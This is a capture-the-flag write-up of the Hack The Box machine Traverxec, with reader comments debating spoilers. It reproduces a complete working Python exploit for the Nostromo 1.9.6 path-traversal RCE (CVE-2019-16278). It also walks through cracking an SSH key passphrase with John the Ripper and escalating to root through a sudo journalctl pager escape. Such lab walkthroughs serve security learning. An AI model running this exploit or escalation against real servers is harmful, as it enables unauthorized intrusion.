Traverxec writeup Summery
TL;DR
This Writeup is about Traverxec, on hack the box. It was a Linux box. It starts off with a public exploit on Nostromo web server for the initial foothold. Then we enumerate and find a directory readable by www-data inside a david users home directory there we find a ssh key we bruteforce it’s passphrase ssh as david. we find a server-start.sh in davids home directory and we use gtfobin’s to get root.
Walkthrough
Scanning Network
I did an initial Nmap scan but there is a catch this time. I know a lot of us are preparing for OSCP. i was looking at recommended tools for OSCP and I found Nmap Automater. This tool is for automating recon on OSCP machines. It did a quick Nmap scan than it did another full port scan including UDP scan and more just doing an “ALL” option does all types of scans such as nikto and even gobuster. Although I didn’t find anything with a full port scan however now you know another good tool to automate recon.
So let’s look up our Nmap results.
┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #cat 10.10.10.165/nmap/Basic_10.10.10.165.nmap
# Nmap 7.70 scan initiated Fri Nov 22 11:06:51 2019 as: nmap -Pn -sCV -p22,80 -oN nmap/Basic_10.10.10.165.nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 22 11:07:10 2019 -- 1 IP address (1 host up) scanned in 18.84 secondsWe have port 22 and 80 open on Traverxec.
Getting a Web Shell with Nostromo
Although we can see Nmap has pulled up Nostromo 1.9.6 from the headers but I checked if there is something on the website although there was nothing but a template for a user named David and his portfolio website.
after looking around I couldn’t find anything and eventually, I opened up burp and intercepted the website and found there was server’s banner and version on burp’s response.
As I clearly ignored Nostromo 1.9.6 in my Nmap results this was a new finding and I started finding if there are any public exploits for this version of Nostromo. I found this exploit a directory traversal RCE you can read more about the vulnerability here. https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html . This is the exploit script I used.
#!/usr/bin/env python
import socket
import argparse
parser = argparse.ArgumentParser(description='RCE in Nostromo web server through 1.9.6 due to path traversal.')
parser.add_argument('host',help='domain/IP of the Nostromo web server')
parser.add_argument('port',help='port number',type=int)
parser.add_argument('cmd',help='command to execute, default is id',default='id',nargs='?')
args = parser.parse_args()
def recv(s):
r=''
try:
while True:
t=s.recv(1024)
if len(t)==0:
break
r+=t
except:
pass
return r
def exploit(host,port,cmd):
s=socket.socket()
s.settimeout(1)
s.connect((host,int(port)))
payload="""POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1""".format(cmd)
s.send(payload)
r=recv(s)
r=r[r.index('\r\n\r\n')+4:]
print r
exploit(args.host,args.port,args.cmd)Then I began to exploit this vulnerability and got a shell back, as always I did some housekeeping with the shell to get a better shell.
To get a better shell I used than I pressed Ctrl + z to background the shell after that I used and stty raw -echo . after this I pressed fg on the shell to foreground the process and now I can use arrow buttons and tab-complete.
python -c 'import pty;pty.spawn("/bin/bash")';
ctrl+z
stty raw -echo
fg User on Traverxec
So I got in Traverxec as www-data and I ran LinEnum and didn’t found anything. The first thing that made sense was to look in Traverxec’s directory to look for config files to find credentials. So I checked the directory /var/nostromo/conf. I found this in LinEnum’s output and this was found as readable www-data so we will look at nhttpd.conf file.
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin [email protected]
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_wwwwhen I read the config file it looked like there is a public_www directory inside a /home but we can’t read the David but it seems like there is a public_www inside David’s home directory. so I tried to cd into /home/david/public_www/ and I got in we have permissions public_www. there is a folder named /protected-file-area inside public_www and inside it is a tar archive called “backup-ssh-identity-files.tgz”. So I downloaded it to my machine.
www-data@traverxec:/home/david/public_www/protected-file-area$ base64 backup-ssh-identity-files.tgz
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┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #echo "H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
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e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==" | base64 -d > sshbackup.tgzI used base64 for transferring the file to my computer by encoding it on traverexec and decoding it in my computer with base64 -d and unzipping the file. Found David’s home directory and inside we found there was .ssh folder inside of David’s directory. I tried to ssh in as David but the ssh key is encrypted. I Bruteforced the passphrase for David’s key, with SSH2John to create a hash of David’s key. Read this for more details on this method Heist Writeup.
⚡ root@parrot HackTheBox-Machines/Traverxec master /opt/JohnTheRipper/run/ssh2john.py id_rsa > ../../../DavidsKeyHash
⚡ root@parrot HackTheBox-Machines/Traverxec master cat DavidsKeyHash
id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
⚡ root@parrot HackTheBox-Machines/Traverxec master john --wordlist=/usr/share/wordlists/rockyou.txt DavidsKeyHash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Now we log in with David’s SSH Key with the passphrase hunter.
┌─[root@parrot]─[/home/user/Desktop/htb/HackTheBox-Machines/Traverxec]
└──╼ #ssh -i ./home/david/.ssh/id_rsa [email protected]
Enter passphrase for key './home/david/.ssh/id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Dec 10 03:48:27 2019 from 10.10.15.152
david@traverxec:~$ whoami
david
david@traverxec:~$
we got David user.
Getting Root
The first thing I noticed when I got the user when doing privilege escalation is there is a bin directory inside David’s home directory it has a file called server-stats.sh. looking more deeply to understand the script. I saw that /usr/bin/journalctl is being run as root. so i went to GTFO bin’s https://gtfobins.github.io/gtfobins/journalctl/ found this Simply ran that command as is given in the script and exploited the less prompt that open’s up as sudo using this !/bin/bash.
There is a catch though turn your terminal size to small or it wont work as the pager will only open up if your terminal size is smaller than the file.
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2019-12-10 04:15:08 EST, end at Tue 2019-12-10 04:42:14 EST. -
Dec 10 04:34:17 traverxec crontab[3113]: (www-data) LIST (www-data)
!/bin/bash
root@traverxec:/home/david/bin# whoami
root
root@traverxec:/home/david/bin#That was Traverxec writeup
Boom we are root so that was Traverxec Writeup. if this helped you let me know in comments. Need help comment down below. Here is my profile if you like you can respect my profile thanks 🙂 https://www.hackthebox.eu/home/users/profile/157669
Hey, you know these are public, right? Posting writeups that aren’t password protected by the root flag is frowned upon, as you’re giving an “easy out” to those trying to learn. I highly recommend that you protect these. Otherwise, your posts are great and I will probably bookmark them to read after I finish a machine.
Hey anon i am aware these are public. I didn’t know it was frowned up on practice because ippsec puts up videos all the time so i thought may be i can do that too thanks for letting me know for now i am gone leave this here and protect the next ones thanks again 🙂 hope you understand.
bro everything is legall if u knw go n telegram ppls are selling flag fro rupess and Sheeraz Ali uploading it for learning purpose not for giving flags and also he s not revealing flags like nav1n.. good job bro i really apperciate you hard work man
Thanks bro yeh don’t want to ruin it for people spoiling isn’t good do it earn the flag is the way to go
Ippsec does the ones that are retired but not active machines. So maybe you can do write-ups on retired machines instead.
Yeh my plan was to start from lame and go on but i right had vip and it was getting delayed from a lot of time so i just did it for what i could rn
Can anyone help me with the command execution script?!? I know it’s stupid, but I can’t seem to figure out how to run it properly…
Sure can where you stuck at
nvm i got user
You didn’t tell us what was the issue
hack the box Encrypt it for vip access if it will open for active then their business will effect …you have to purchase VIP access…some peple cant pay and @sheraazali is helping those people …please don’t password protect it you are helping those who is not able to pay and want to learn ….i respect you ….keep posting and don’t care anyone…..
Even with VIP access the writeups won’t be available before the box is retired. HTB are meant to be solved without writeups, as this might give learning and the competitive nature motivates. Writeups like these, without password encryption will destroy this for others.
If you are looking for non-competitive “open” challenges with writeups, there are a lot of free alternatives. “vulnhub” and “over the wire” are some great alternatives which will give enough knowledge to do the live boxes at HTB.
Agreed peter
here’s my 5 cents… I’m a total newbie to all this. I found HTB like few weeks ago and these boxes are my first attempt to get into pentesting mindset. I do get why people wan’t to keep the spoilers out but for someone like me, these are a real treasure.
Yes, I do cheat a little bit, but I also spend lots of time trying to figure out these boxes before I go and google the spoilers. When I read these walkthroughs I go “aha” bigtime! I guess I could figure them out by myself if I banged my head to the wall for weeks or months, but at the stage I’m at, it would make a moot point. HTB as a competitive sport, yes, spoilers must suck big hairy balls, but for me these are great education tools and I do value and appreciate the authors who take their time to post them.
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